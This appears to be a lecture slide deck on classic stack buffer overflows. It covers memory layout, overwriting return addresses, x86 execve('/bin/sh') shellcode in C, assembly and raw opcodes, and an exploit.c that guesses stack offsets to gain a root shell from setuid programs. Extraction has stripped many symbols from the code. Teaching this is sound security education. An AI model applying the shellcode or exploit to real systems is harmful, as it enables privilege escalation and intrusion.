Title: Buffer Overflow Exploits
1Buffer Overflow Exploits
2Agenda
- What is buffer overflow?
- What happens when buffer is overflowed?
- What is shellcode?
- How to write shellcode?
- How the buffer overflow can be exploited?
3What is buffer overflow?
- A buffer overflow is a condition in a program
whereby a function attempts to copy more data
into a buffer than it can hold. - char input "aaaaaaaaaaa")
- char buffer4
- strcpy(buffer, input)
4What is buffer overflow?
- char input "aaaaaaaaaaa")
- char buffer4
- strcpy(buffer, input)
- This would cause a segmentation fault because we
are copying 11 bytes into the buffer which can
only hold 4. The buffer has been overflowed.
5What happens if the buffer is overflowed?
- The data immediately following the buffer gets
corrupted. - The data immediately following may be the most
valuable data like, stack pointer, frame pointer
,program return address etc - But what are these frame pointers, stack
pointers, program return address.
6Process memory organisation
- Executable code and constant data (.text ,
.rodata ) - Static, global and dynamically allocated data
(.data and .bss) - Local Variables, parameters, ret val address .
Lower address
Higher address
7Stack organisation
MEMORY
0x00000000
0xFFFFFFFF
STACK
8Example
void function (int a, int b, int c) char
buffer15 char buffer210 void main()
int x x 0 function(1,2,3) x 1
printf("d\n",x)
9Example
MEMORY
void main() int x x 0
function(1,2,3) x 1 printf("d\n",x)
Return address
1
2
3
main() stack frame
STACK
10Example
MEMORY
Buffer 2
Buffer 1
Old frame ptr
Return address
void function (int a, int b, int c) char
buffer15 char buffer210
1 a
2 b
3 c
main() stack frame
STACK
11Example2
- What is the o/p of the following program?
-
- void function(int a, int b, int c)
- char buffer15
- char buffer210
- int ret
- ret buffer1 12
- (ret) 10
-
- int main()
- int x
- x 0
- function(1,2,3)
- x 1
- printf((un)Modified d\n",x) return 144
12What happens if the buffer is overflowed?
- What is the result of the following code?
- main()
- char buffer4
- char input "aaaaaaaaaaaaaaaa")
- strcpy(buffer, input)
13Demo1
14Buffer overflow exploit
- We can change the return address with the buffer
overflow. - The next step is to change the return address to
point to code which we want to run. - That can be any code. But we will look at how to
spawn a shell, called as shellcode. - Lets look at what is shellcode and how to write
the shellcode.
15Shellcode
- Shellcode is raw code in opcode format that will
spawn a shell - Writing shellcode
- Write shellcode in C
- Convert the shellcode written in c to assembly
- Find the corresponding opcodes and fill the
buffer.
16Shellcode in C
- The normal and most common type of shellcode is a
straight /bin/sh execve() call. - void main()
-
- char name2
- name0 "/bin/sh"
- name1 NULL
- execve(name0, name, NULL)
-
17Shellcode in assembly
- Invoking system calls in assembly language
- System calls are assigned numbers defined in the
file /usr/include/asm/unistd.h - Register eax need to be given the system call
number - Parameters are given in ebx, ecx, edx depending
on the system call - Int 0x80 is the instruction used to invoke the
system call
18System calls in assembly language
- Invoking exit system call
- The following is equivalent of exit(0)
- xorl ebx, ebx ebx 0
- mov 0x1, eax eax 1
- int 0x80 interrupt
19Shellcode in assembly
- void main()
-
- char name2
- name0 "/bin/sh"
- name1 NULL
- execve(name0, name, NULL)
-
eax
ebx
ecx
edx
20Shellcode in assembly
- Have the string "/bin/sh" somewhere in memory.
- Write the address of that into EBX.
- Create a char which holds the address of the
former "/bin/sh" and the address of a NULL . - Write the address of that char into ECX.
- Write zero into EDX
- Issue int 0x80 and generate the trap.
21Shellcode in assembly
- xorl eax,eax
- pushl eax
- pushl 0x68732f2f
- pushl 0x6e69622f
- movl esp, ebx
- pushl eax
- pushl ebx
- movl esp, ecx
- xorl edx, edx
- movb 0xb, eax
- int 0x80
0xb
ebx
ecx
NULL
0x.
NULL
/bin
/sh
NULL
22Shellcode in raw opcodes
- Convert the assembly instructions to the
appropriate opcodes - char sc
- "\x31\xc0" / xor eax, eax /
- "\x50" / push eax /
- "\x68\x2f\x2f\x73\x68" / push 0x68732f2f/
- "\x68\x2f\x62\x69\x6e" / push 0x6e69622f/
- "\x89\xe3" / mov esp,ebx /
- "\x50 / push eax /
- "\x53 / push ebx /
- "\x89\xe1" / mov esp,ecx /
- "\x31\xd2" / xor edx,edx /
- "\xb0\x0b" / mov 0xb,al /
- "\xcd\x80" / int 0x80 /
23Running the shellcode
- char sc .../shell opcode/
- main()
-
- void (fp) (void)
- fp (void )sc
- fp()
-
24Demo2
25Buffer overflow exploit
- We can change the return address with the buffer
overflow. - We now have shellcode ready.
- The next step is to change the return address to
point to the shellcode we have.
26Example
- char sc
- char large_string128
- void main()
- char buffer96
- int i
- long long_ptr (long ) large_string
- / fill large_string with addr of buffer/
- for (i 0 i lt 32 i)
- (long_ptr i) (int) buffer
- / copy the shell code to the long string/
- for (i 0 i lt strlen(shellcode) i)
- large_stringi shellcodei
- /copy it to buffer /
- strcpy(buffer,large_string)
27Example
28Buffer overflow exploit
- But the previous example is about overflowing the
program itself. - We want to overflow the buffer of some other
program. - But for other program how do we know what the
address of the buffer would be.
29Buffer overflow exploit
- For every program the stack will start at the
same address. - Most programs do not push more than a few hundred
or a few thousand bytes into the stack at any one
time. - Therefore by knowing where the stack starts we
can try to guess where the buffer we are trying
to overflow will be.
30Buffer overflow exploit
- Here is a little program that will print its
stack - unsigned long get_sp(void)
-
- __asm__("movl esp,eax")
-
- void main()
-
- printf("0xx\n", get_sp())
31Buffer overflow exploit
- Lets assume this is the program we are trying to
overflow is - void main(int argc, char argv)
-
- char buffer512
- if (argc gt 1)
- strcpy(buffer,argv1)
32Buffer overflow exploit
- We can create a program that takes as a parameter
a buffer size, and an offset from its own stack
pointer (where we believe the buffer we want to
overflow may live)
33exploit.c
- offset atoi(argv1) / get the offset they
specified / - esp sp() / get the stack
pointer / - ret esp-offset / sp - offset return
address / - ptr buffer
- addr_ptr (long )ptr
- for(i0 iltBUFFERSIZE i4)
- (addr_ptr) ret
- for(i0 iltstrlen(sc) i)
- (ptr) sci
- bufferBUFFERSIZE-1 0
- execl("./vulnerable", "vulnerable", buffer, 0)
34Demo3
35Buffer overflow exploit
- If the owner of the program is root and
- If the setuid bit is set then the shell which is
spawn will become the root shell.
36Demo4
37References
- http//www.enderunix.org/docs/eng/bof-eng.txt
- http//www.enderunix.org/documents/en/sc-en.txt
- http//www.phrack.com/phrack/57/p57-x05